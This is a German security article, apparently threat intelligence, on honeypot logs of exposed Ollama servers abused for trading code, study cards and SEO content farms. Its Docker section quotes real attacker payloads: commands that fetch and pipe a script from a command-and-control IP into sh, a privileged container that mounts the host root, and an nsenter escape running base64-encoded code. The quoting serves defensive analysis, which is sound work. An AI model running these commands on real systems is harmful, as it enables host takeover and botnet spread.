Zurück zur Startseite

Ollama-Missbrauch: Trading und Content-Farmen

Der Artikel analysiert Logs von Honeypots offener Ollama-Instanzen: Aufklärung, health-check, Ausnutzung für Trading, Bildung und SEO-Content. Parallele Angriffe auf Docker und Kubelet mit beschriebenen Escape-Techniken. IOC, MITRE ATT&CK und Schutzmaßnahmen bereitgestellt.

Ollama unter Angriff: Bots stehlen GPU für Trading
Advertisement 728x90

Ollama-Missbrauch: Von Handelsbotten bis zu Content-Farms

Offene Ollama-Instanzen werden missbraucht, um Handelsstrategien zu generieren, Bildungsmaterialien zu erstellen und massenhaft SEO-Content zu produzieren. Honeypots in Deutschland, den USA und Russland haben Anfragen für beliebte Modelle wie llama3.1:8b und qwen2.5:7b aufgezeichnet. Angreifer führen zunächst Recherche durch, testen die Systemgesundheit und prüfen parallel mehrere API-Endpunkte, bevor sie fremde GPU-Ressourcen nutzen.

Recherche und Verfügbarkeitsprüfungen

Scanner beginnen mit einfachen Abfragen, um die Funktionalität der Instanz zu überprüfen. Häufig genutzte Endpunkte sind:

  • GET /api/tags — Liste der verfügbaren Modelle im Ollama-API.
  • GET /v1/models — Liste kompatibler Modelle im OpenAI-Stil.
  • GET /api/version — Server-Version.

Auf einem US-basierten Knoten wurden innerhalb einer Woche 244 Anfragen an /v1/models und 58 an /api/tags protokolliert. Eine IP-Adresse führte alle 20 Minuten eine Gesundheitsüberprüfung mittels POST /v1/chat/completions mit dem Payload {"messages": [{"role": "user", "content": "health-check"}]} durch – insgesamt 244 Mal.

Google AdInline article slot

Die Modellenumeration folgt einem vorhersehbaren Muster: Ein einfacher Prompt wie Hello oder hi wird an Modelle wie llama3.1:8b, qwen2.5:7b, codellama:13b, mistral:7b, deepseek:33b und llama3.2 gesendet. Wenn ein Modell antwortet, wird die Instanz als nutzbar markiert.

Ausnutzung: Aufgabenarten

Nach der Recherche beginnen echte Aufgaben. Drei Kategorien wurden beobachtet.

Handelsbotten

Ein Pipeline-Prozess auf einem US-Knoten generiert nach erfolgreicher Gesundheitsüberprüfung Handelsstrategie-Code:

Google AdInline article slot
{
  "messages": [{
    "role": "user",
    "content": "Schreibe Python 3-Code für:\ndef backtest_strategy(prices: list[float]) -> float:\nVerwende einen 10-Perioden schnellen SMA und einen 50-Perioden langsamen SMA-Crossover auf Preisen, long, wenn schnell > lang, flach/short, wenn schnell < lang, und gib den Gesamt-PnL als Float zurück. Gib nur diese Funktion aus, keine zusätzlichen Texte."
  }]
}

Der Prompt wurde zwölfmal über drei Modelle hinweg via /api/chat, /v1/chat/completions und /v1/completions wiederholt. Dies zeigt einen systematischen Versuch, kostenlose Backend-Rechenleistung für algorithmische Trading-Projekte zu nutzen.

Proxy für LLM-Clients

Eine Sitzung mit einem chinesischen Benutzer zeigte, dass ein GLM-Client die gesamte Gesprächsgeschichte weiterleitet – inklusive System-Prompts und früherer Antworten. Eine Anfrage für Anki-Karteikarten zum Werk Mao Zedongs Dialektik der Widersprüche: 做一个学习毛泽东的矛盾论 有30张卡片的anki牌组. Abschließender Test: 你是什么模型 (Was für ein Modell bist du?).

Content-Farms

Auf einem russischen Knoten wurden vorgefertigte Prompts für SEO-Content verwendet:

Google AdInline article slot
Beantworte die folgende Frage gründlich und detailliert.

Frage: Wie haben neuronale Netze und Deep Learning KI transformiert?

REGELN:
- Gib eine vollständige, detaillierte Antwort.
- Wiederhole die Frage NICHT.
- Füge KEIN Vorwort hinzu.
- Deine LETZTE Zeile muss exakt lauten: ##ANSWER_DONE##

Antwort:

Das Stop-Wort ##ANSWER_DONE## wird von Parsern zur Erkennung der Fertigstellung genutzt. Themen umfassen maschinelles Lernen und die Entwicklung von KI. Mehrere Modelle wurden parallel abgefragt, wobei Ketten-des-Denkens auf Fragen angewandt wurden.

Parallel angelegte Infrastrukturangriffe

Ollama-Scanner kombinieren oft mit Angriffen auf Docker (Port 2375) und Kubelet (Port 10250).

Docker-Ausnutzungen

Die Botnetz-Infrastruktur docker.selfrep (C2: 31.57.216.121) führt aus:

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

Ein gefährlicheres Botnetz (C2: 45.194.92.39) nutzt privilegierte Container:

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

Alternative: nsenter-Escape:

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

Kubelet-Recherche

Anfragen an /api/v1/pods, /healthz und ML-spezifische /update_weights_from_tensor deuten darauf hin, dass Maschinenlern-Pipelines gesucht werden.

Wichtige Erkenntnisse

  • Offene Ollama-Instanzen sind in Pipelines für Handel, Bildung und SEO ohne Authentifizierung integriert.
  • Gesundheitschecks und Modellenumeration (llama3.1, qwen2.5 usw.) sind Standardverhalten automatisierter Scanner.
  • Docker-Angriffe kombinieren Container-Entweichung via nsenter mit privilegierten Mounts und Base64-Verschlüsselung.
  • Marker wie ##ANSWER_DONE## und health-check helfen bei der Erkennung von Botfarmen.
  • Schutz erfordert lokale Bindung, Reverse Proxying und Verkehrsüberwachung.

— Editorial Team

Advertisement 728x90

Weiterlesen